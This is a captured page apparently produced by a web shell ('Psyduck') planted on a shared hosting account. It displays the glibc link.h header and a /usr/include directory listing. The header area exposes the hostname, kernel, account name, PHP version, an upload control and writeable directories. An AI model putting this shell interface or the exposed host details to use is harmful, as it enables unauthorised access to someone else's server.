Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /usr/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/include/link.h
/* Data structure for communication from the run-time dynamic linker for
   loaded ELF shared objects.
   Copyright (C) 1995-2018 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */

#ifndef	_LINK_H
#define	_LINK_H	1

#include <features.h>
#include <elf.h>
#include <dlfcn.h>
#include <sys/types.h>

/* We use this macro to refer to ELF types independent of the native wordsize.
   `ElfW(TYPE)' is used in place of `Elf32_TYPE' or `Elf64_TYPE'.  */
#define ElfW(type)	_ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t)	_ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t)	e##w##t

#include <bits/elfclass.h>		/* Defines __ELF_NATIVE_CLASS.  */
#include <bits/link.h>

/* Rendezvous structure used by the run-time dynamic linker to communicate
   details of shared object loading to the debugger.  If the executable's
   dynamic section has a DT_DEBUG element, the run-time linker sets that
   element's value to the address where this structure can be found.  */

struct r_debug
  {
    int r_version;		/* Version number for this protocol.  */

    struct link_map *r_map;	/* Head of the chain of loaded objects.  */

    /* This is the address of a function internal to the run-time linker,
       that will always be called when the linker begins to map in a
       library or unmap it, and again when the mapping change is complete.
       The debugger can set a breakpoint at this address if it wants to
       notice shared object mapping changes.  */
    ElfW(Addr) r_brk;
    enum
      {
	/* This state value describes the mapping change taking place when
	   the `r_brk' address is called.  */
	RT_CONSISTENT,		/* Mapping change is complete.  */
	RT_ADD,			/* Beginning to add a new object.  */
	RT_DELETE		/* Beginning to remove an object mapping.  */
      } r_state;

    ElfW(Addr) r_ldbase;	/* Base address the linker is loaded at.  */
  };

/* This is the instance of that structure used by the dynamic linker.  */
extern struct r_debug _r_debug;

/* This symbol refers to the "dynamic structure" in the `.dynamic' section
   of whatever module refers to `_DYNAMIC'.  So, to find its own
   `struct r_debug', a program could do:
     for (dyn = _DYNAMIC; dyn->d_tag != DT_NULL; ++dyn)
       if (dyn->d_tag == DT_DEBUG)
	 r_debug = (struct r_debug *) dyn->d_un.d_ptr;
   */
extern ElfW(Dyn) _DYNAMIC[];

/* Structure describing a loaded shared object.  The `l_next' and `l_prev'
   members form a chain of all the shared objects loaded at startup.

   These data structures exist in space used by the run-time dynamic linker;
   modifying them may have disastrous results.  */

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;		/* Difference between the address in the ELF
				   file and the addresses in memory.  */
    char *l_name;		/* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;		/* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
  };

#ifdef __USE_GNU

/* Version numbers for la_version handshake interface.  */
#include <bits/link_lavcurrent.h>

/* Activity types signaled through la_activity.  */
enum
  {
    LA_ACT_CONSISTENT,		/* Link map consistent again.  */
    LA_ACT_ADD,			/* New object will be added.  */
    LA_ACT_DELETE		/* Objects will be removed.  */
  };

/* Values representing origin of name for dynamic loading.  */
enum
  {
    LA_SER_ORIG = 0x01,		/* Original name.  */
    LA_SER_LIBPATH = 0x02,	/* Directory from LD_LIBRARY_PATH.  */
    LA_SER_RUNPATH = 0x04,	/* Directory from RPATH/RUNPATH.  */
    LA_SER_CONFIG = 0x08,	/* Found through ldconfig.  */
    LA_SER_DEFAULT = 0x40,	/* Default directory.  */
    LA_SER_SECURE = 0x80	/* Unused.  */
  };

/* Values for la_objopen return value.  */
enum
  {
    LA_FLG_BINDTO = 0x01,	/* Audit symbols bound to this object.  */
    LA_FLG_BINDFROM = 0x02	/* Audit symbols bound from this object.  */
  };

/* Values for la_symbind flags parameter.  */
enum
  {
    LA_SYMB_NOPLTENTER = 0x01,	/* la_pltenter will not be called.  */
    LA_SYMB_NOPLTEXIT = 0x02,	/* la_pltexit will not be called.  */
    LA_SYMB_STRUCTCALL = 0x04,	/* Return value is a structure.  */
    LA_SYMB_DLSYM = 0x08,	/* Binding due to dlsym call.  */
    LA_SYMB_ALTVALUE = 0x10	/* Value has been changed by a previous
				   la_symbind call.  */
  };

struct dl_phdr_info
  {
    ElfW(Addr) dlpi_addr;
    const char *dlpi_name;
    const ElfW(Phdr) *dlpi_phdr;
    ElfW(Half) dlpi_phnum;

    /* Note: Following members were introduced after the first
       version of this structure was available.  Check the SIZE
       argument passed to the dl_iterate_phdr callback to determine
       whether or not each later member is available.  */

    /* Incremented when a new object may have been added.  */
    __extension__ unsigned long long int dlpi_adds;
    /* Incremented when an object may have been removed.  */
    __extension__ unsigned long long int dlpi_subs;

    /* If there is a PT_TLS segment, its module ID as used in
       TLS relocations, else zero.  */
    size_t dlpi_tls_modid;

    /* The address of the calling thread's instance of this module's
       PT_TLS segment, if it has one and it has been allocated
       in the calling thread, otherwise a null pointer.  */
    void *dlpi_tls_data;
  };

__BEGIN_DECLS

extern int dl_iterate_phdr (int (*__callback) (struct dl_phdr_info *,
					       size_t, void *),
			    void *__data);


/* Prototypes for the ld.so auditing interfaces.  These are not
   defined anywhere in ld.so but instead have to be provided by the
   auditing DSO.  */
extern unsigned int la_version (unsigned int __version);
extern void la_activity (uintptr_t *__cookie, unsigned int __flag);
extern char *la_objsearch (const char *__name, uintptr_t *__cookie,
			   unsigned int __flag);
extern unsigned int la_objopen (struct link_map *__map, Lmid_t __lmid,
				uintptr_t *__cookie);
extern void la_preinit (uintptr_t *__cookie);
extern uintptr_t la_symbind32 (Elf32_Sym *__sym, unsigned int __ndx,
			       uintptr_t *__refcook, uintptr_t *__defcook,
			       unsigned int *__flags, const char *__symname);
extern uintptr_t la_symbind64 (Elf64_Sym *__sym, unsigned int __ndx,
			       uintptr_t *__refcook, uintptr_t *__defcook,
			       unsigned int *__flags, const char *__symname);
extern unsigned int la_objclose (uintptr_t *__cookie);

__END_DECLS

#endif

#endif /* link.h */
Name
Size
Permissions
Options
GL
--
drwxr-xr-x
X11
--
drwxr-xr-x
apache2
--
drwxr-xr-x
arpa
--
drwxr-xr-x
asm
--
drwxr-xr-x
asm-generic
--
drwxr-xr-x
bind9
--
drwxr-xr-x
bits
--
drwxr-xr-x
bsock
--
drwxr-xr-x
c++
--
drwxr-xr-x
criu
--
drwxr-xr-x
curl
--
drwxr-xr-x
drm
--
drwxr-xr-x
e2p
--
drwxr-xr-x
et
--
drwxr-xr-x
event2
--
drwxr-xr-x
ext2fs
--
drwxr-xr-x
finclude
--
drwxr-xr-x
fontconfig
--
drwxr-xr-x
freetype2
--
drwxr-xr-x
fstrm
--
drwxr-xr-x
gdb
--
drwxr-xr-x
gdbm
--
drwxr-xr-x
gnu
--
drwxr-xr-x
google
--
drwxr-xr-x
gssapi
--
drwxr-xr-x
gssrpc
--
drwxr-xr-x
jemalloc
--
drwxr-xr-x
json-c
--
drwxr-xr-x
kadm5
--
drwxr-xr-x
krb5
--
drwxr-xr-x
libdb
--
drwxr-xr-x
libexslt
--
drwxr-xr-x
libltdl
--
drwxr-xr-x
libpng16
--
drwxr-xr-x
libxml2
--
drwxr-xr-x
libxslt
--
drwxr-xr-x
linux
--
drwxr-xr-x
lua-5.1
--
drwxr-xr-x
lzma
--
drwxr-xr-x
misc
--
drwxr-xr-x
mtd
--
drwxr-xr-x
mysql
--
drwxr-xr-x
ncurses
--
drwxr-xr-x
ncursesw
--
drwxr-xr-x
net
--
drwxr-xr-x
netash
--
drwxr-xr-x
netatalk
--
drwxr-xr-x
netax25
--
drwxr-xr-x
neteconet
--
drwxr-xr-x
netinet
--
drwxr-xr-x
netipx
--
drwxr-xr-x
netiucv
--
drwxr-xr-x
netpacket
--
drwxr-xr-x
netrom
--
drwxr-xr-x
netrose
--
drwxr-xr-x
nfs
--
drwxr-xr-x
openssl
--
drwxr-xr-x
perf
--
drwxr-xr-x
protobuf-c
--
drwxr-xr-x
protocols
--
drwxr-xr-x
python2.7
--
drwxr-xr-x
python3.6m
--
drwxr-xr-x
python3.8
--
drwxr-xr-x
rdma
--
drwxr-xr-x
rpc
--
drwxr-xr-x
sasl
--
drwxr-xr-x
scsi
--
drwxr-xr-x
security
--
drwxr-xr-x
selinux
--
drwxr-xr-x
sepol
--
drwxr-xr-x
sound
--
drwxr-xr-x
sys
--
drwxr-xr-x
uuid
--
drwxr-xr-x
video
--
drwxr-xr-x
webp
--
drwxr-xr-x
xcb
--
drwxr-xr-x
xen
--
drwxr-xr-x
FlexLexer.h
6.731 KB
-rw-r--r--
a.out.h
4.248 KB
-rw-r--r--
aio.h
7.281 KB
-rw-r--r--
aliases.h
1.983 KB
-rw-r--r--
alloca.h
1.175 KB
-rw-r--r--
ar.h
1.689 KB
-rw-r--r--
argp.h
24.818 KB
-rw-r--r--
argz.h
5.908 KB
-rw-r--r--
assert.h
4.454 KB
-rw-r--r--
autosprintf.h
2.327 KB
-rw-r--r--
byteswap.h
1.371 KB
-rw-r--r--
bzlib.h
6.099 KB
-rw-r--r--
com_err.h
2.068 KB
-rw-r--r--
complex.h
6.995 KB
-rw-r--r--
cpio.h
2.214 KB
-rw-r--r--
cpuidle.h
0.824 KB
-rw-r--r--
crypt.h
8.904 KB
-rw-r--r--
ctype.h
10.706 KB
-rw-r--r--
curses.h
97.29 KB
-rw-r--r--
cursesapp.h
6.616 KB
-rw-r--r--
cursesf.h
27.196 KB
-rw-r--r--
cursesm.h
19.216 KB
-rw-r--r--
cursesp.h
8.399 KB
-rw-r--r--
cursesw.h
48.554 KB
-rw-r--r--
cursslk.h
7.133 KB
-rw-r--r--
db.h
120.22 KB
-r--r--r--
db_185.h
5.843 KB
-r--r--r--
dbm.h
1.381 KB
-rw-r--r--
dirent.h
12.191 KB
-rw-r--r--
dlfcn.h
7.068 KB
-rw-r--r--
elf.h
170.73 KB
-rw-r--r--
endian.h
3.114 KB
-rw-r--r--
entities.h
4.814 KB
-rw-r--r--
envz.h
2.799 KB
-rw-r--r--
err.h
2.157 KB
-rw-r--r--
errno.h
1.639 KB
-rw-r--r--
error.h
1.991 KB
-rw-r--r--
eti.h
2.823 KB
-rw-r--r--
etip.h
9.475 KB
-rw-r--r--
evdns.h
1.972 KB
-rw-r--r--
event.h
2.68 KB
-rw-r--r--
evhttp.h
1.987 KB
-rw-r--r--
evrpc.h
1.968 KB
-rw-r--r--
evutil.h
1.74 KB
-rw-r--r--
execinfo.h
1.486 KB
-rw-r--r--
expat.h
43.235 KB
-rw-r--r--
expat_config.h
3.818 KB
-rw-r--r--
expat_external.h
5.888 KB
-rw-r--r--
fcntl.h
10.701 KB
-rw-r--r--
features.h
15.686 KB
-rw-r--r--
fenv.h
5.72 KB
-rw-r--r--
fmtmsg.h
3.163 KB
-rw-r--r--
fnmatch.h
2.241 KB
-rw-r--r--
form.h
18.165 KB
-rw-r--r--
fpu_control.h
3.499 KB
-rw-r--r--
fstab.h
3.038 KB
-rw-r--r--
fstrm.h
12.712 KB
-rw-r--r--
fts.h
8.176 KB
-rw-r--r--
ftw.h
5.128 KB
-rw-r--r--
gconv.h
4.307 KB
-rw-r--r--
gcrypt.h
68.712 KB
-rw-r--r--
gd.h
56.423 KB
-rw-r--r--
gd_color_map.h
0.467 KB
-rw-r--r--
gd_errors.h
1.468 KB
-rw-r--r--
gd_io.h
3.052 KB
-rw-r--r--
gdbm.h
10.103 KB
-rw-r--r--
gdcache.h
2.83 KB
-rw-r--r--
gdfontg.h
0.54 KB
-rw-r--r--
gdfontl.h
0.538 KB
-rw-r--r--
gdfontmb.h
0.507 KB
-rw-r--r--
gdfonts.h
0.503 KB
-rw-r--r--
gdfontt.h
0.533 KB
-rw-r--r--
gdfx.h
0.485 KB
-rw-r--r--
gdpp.h
50.939 KB
-rw-r--r--
getopt.h
1.434 KB
-rw-r--r--
gettext-po.h
15.17 KB
-rw-r--r--
glob.h
6.459 KB
-rw-r--r--
gnu-versions.h
2.287 KB
-rw-r--r--
gnumake.h
2.844 KB
-rw-r--r--
gpg-error.h
66.288 KB
-rw-r--r--
gpgrt.h
66.288 KB
-rw-r--r--
grp.h
6.529 KB
-rw-r--r--
gshadow.h
4.422 KB
-rw-r--r--
gssapi.h
0.177 KB
-rw-r--r--
iconv.h
1.813 KB
-rw-r--r--
idn-free.h
2.414 KB
-rw-r--r--
idn-int.h
0.02 KB
-rw-r--r--
idna.h
3.48 KB
-rw-r--r--
ieee754.h
4.795 KB
-rw-r--r--
ifaddrs.h
2.773 KB
-rw-r--r--
inttypes.h
11.613 KB
-rw-r--r--
jconfig-64.h
2.173 KB
-rw-r--r--
jconfig.h
0.24 KB
-rw-r--r--
jerror.h
14.734 KB
-rw-r--r--
jmorecfg.h
14.696 KB
-rw-r--r--
jpegint.h
15.221 KB
-rw-r--r--
jpeglib.h
48.706 KB
-rw-r--r--
kdb.h
67.661 KB
-rw-r--r--
keyutils.h
7.518 KB
-rw-r--r--
krad.h
8.724 KB
-rw-r--r--
krb5.h
0.393 KB
-rw-r--r--
langinfo.h
17.43 KB
-rw-r--r--
lastlog.h
0.123 KB
-rw-r--r--
lber.h
14.952 KB
-rw-r--r--
lber_types.h
1.434 KB
-rw-r--r--
ldap.h
63.57 KB
-rw-r--r--
ldap_cdefs.h
9.244 KB
-rw-r--r--
ldap_features.h
1.771 KB
-rw-r--r--
ldap_schema.h
9.229 KB
-rw-r--r--
ldap_utf8.h
3.387 KB
-rw-r--r--
ldif.h
4.582 KB
-rw-r--r--
libaio.h
8.728 KB
-rw-r--r--
libgen.h
1.353 KB
-rw-r--r--
libintl.h
4.472 KB
-rw-r--r--
limits.h
5.285 KB
-rw-r--r--
link.h
7.049 KB
-rw-r--r--
locale.h
7.494 KB
-rw-r--r--
ltdl.h
5.575 KB
-rw-r--r--
lzma.h
9.587 KB
-rw-r--r--
magic.h
5.457 KB
-rw-r--r--
malloc.h
5.959 KB
-rw-r--r--
math.h
52.068 KB
-rw-r--r--
mcheck.h
2.377 KB
-rw-r--r--
memory.h
0.933 KB
-rw-r--r--
menu.h
11.911 KB
-rw-r--r--
mntent.h
3.279 KB
-rw-r--r--
monetary.h
1.761 KB
-rw-r--r--
mqueue.h
3.671 KB
-rw-r--r--
nc_tparm.h
4.099 KB
-rw-r--r--
ncurses.h
97.29 KB
-rw-r--r--
ncurses_dll.h
4.177 KB
-rw-r--r--
ndbm.h
2.396 KB
-rw-r--r--
netdb.h
27.44 KB
-rw-r--r--
nl_types.h
1.711 KB
-rw-r--r--
nss.h
1.834 KB
-rw-r--r--
obstack.h
20.807 KB
-rw-r--r--
panel.h
4.026 KB
-rw-r--r--
paths.h
2.907 KB
-rw-r--r--
pcre.h
30.975 KB
-rw-r--r--
pcre2.h
43.752 KB
-rw-r--r--
pcre2posix.h
5.668 KB
-rw-r--r--
pcre_scanner.h
6.445 KB
-rw-r--r--
pcre_stringpiece.h
6.164 KB
-rw-r--r--
pcrecpp.h
25.907 KB
-rw-r--r--
pcrecpparg.h
6.624 KB
-rw-r--r--
pcreposix.h
5.324 KB
-rw-r--r--
png.h
140.771 KB
-rw-r--r--
pngconf.h
22.31 KB
-rw-r--r--
pnglibconf.h
7.39 KB
-rw-r--r--
poll.h
0.021 KB
-rw-r--r--
pr29.h
2.073 KB
-rw-r--r--
printf.h
6.641 KB
-rw-r--r--
proc_service.h
3.395 KB
-rw-r--r--
profile.h
11.869 KB
-rw-r--r--
pthread.h
40.302 KB
-rw-r--r--
pty.h
1.532 KB
-rw-r--r--
punycode.h
9.164 KB
-rw-r--r--
pwd.h
6.014 KB
-rw-r--r--
re_comp.h
0.939 KB
-rw-r--r--
regex.h
24.136 KB
-rw-r--r--
regexp.h
1.413 KB
-rw-r--r--
resolv.h
11.868 KB
-rw-r--r--
sched.h
4.621 KB
-rw-r--r--
search.h
5.101 KB
-rw-r--r--
semaphore.h
2.343 KB
-rw-r--r--
setjmp.h
3.583 KB
-rw-r--r--
sgtty.h
1.312 KB
-rw-r--r--
shadow.h
5.343 KB
-rw-r--r--
signal.h
11.956 KB
-rw-r--r--
slapi-plugin.h
37.452 KB
-rw-r--r--
spawn.h
6.533 KB
-rw-r--r--
stab.h
0.258 KB
-rw-r--r--
stdc-predef.h
2.235 KB
-rw-r--r--
stdint.h
8.271 KB
-rw-r--r--
stdio.h
29.461 KB
-rw-r--r--
stdio_ext.h
2.733 KB
-rw-r--r--
stdlib.h
34.817 KB
-rw-r--r--
string.h
17.175 KB
-rw-r--r--
stringprep.h
8.034 KB
-rw-r--r--
strings.h
4.641 KB
-rw-r--r--
syscall.h
0.024 KB
-rw-r--r--
sysexits.h
5.109 KB
-rw-r--r--
syslog.h
0.023 KB
-rw-r--r--
tar.h
3.696 KB
-rw-r--r--
term.h
40.225 KB
-rw-r--r--
term_entry.h
8.555 KB
-rw-r--r--
termcap.h
3.392 KB
-rw-r--r--
termio.h
0.209 KB
-rw-r--r--
termios.h
3.514 KB
-rw-r--r--
tgmath.h
30.751 KB
-rw-r--r--
thread_db.h
15.647 KB
-rw-r--r--
threads.h
6.499 KB
-rw-r--r--
tic.h
13.318 KB
-rw-r--r--
tiff.h
35.14 KB
-rw-r--r--
tiffconf-64.h
3.349 KB
-rw-r--r--
tiffconf.h
0.244 KB
-rw-r--r--
tiffio.h
22.683 KB
-rw-r--r--
tiffio.hxx
1.662 KB
-rw-r--r--
tiffvers.h
0.4 KB
-rw-r--r--
time.h
10.117 KB
-rw-r--r--
tld.h
4.541 KB
-rw-r--r--
ttyent.h
2.436 KB
-rw-r--r--
uchar.h
1.954 KB
-rw-r--r--
ucontext.h
1.988 KB
-rw-r--r--
ulimit.h
1.546 KB
-rw-r--r--
unctrl.h
3.026 KB
-rw-r--r--
unistd.h
41.736 KB
-rw-r--r--
utime.h
1.466 KB
-rw-r--r--
utmp.h
3.146 KB
-rw-r--r--
utmpx.h
4.003 KB
-rw-r--r--
values.h
1.909 KB
-rw-r--r--
verto-module.h
6.484 KB
-rw-r--r--
verto.h
18.981 KB
-rw-r--r--
wait.h
0.021 KB
-rw-r--r--
wchar.h
30.382 KB
-rw-r--r--
wctype.h
5.418 KB
-rw-r--r--
wordexp.h
2.442 KB
-rw-r--r--
zconf.h
15.881 KB
-rw-r--r--
zlib.h
94.005 KB
-rw-r--r--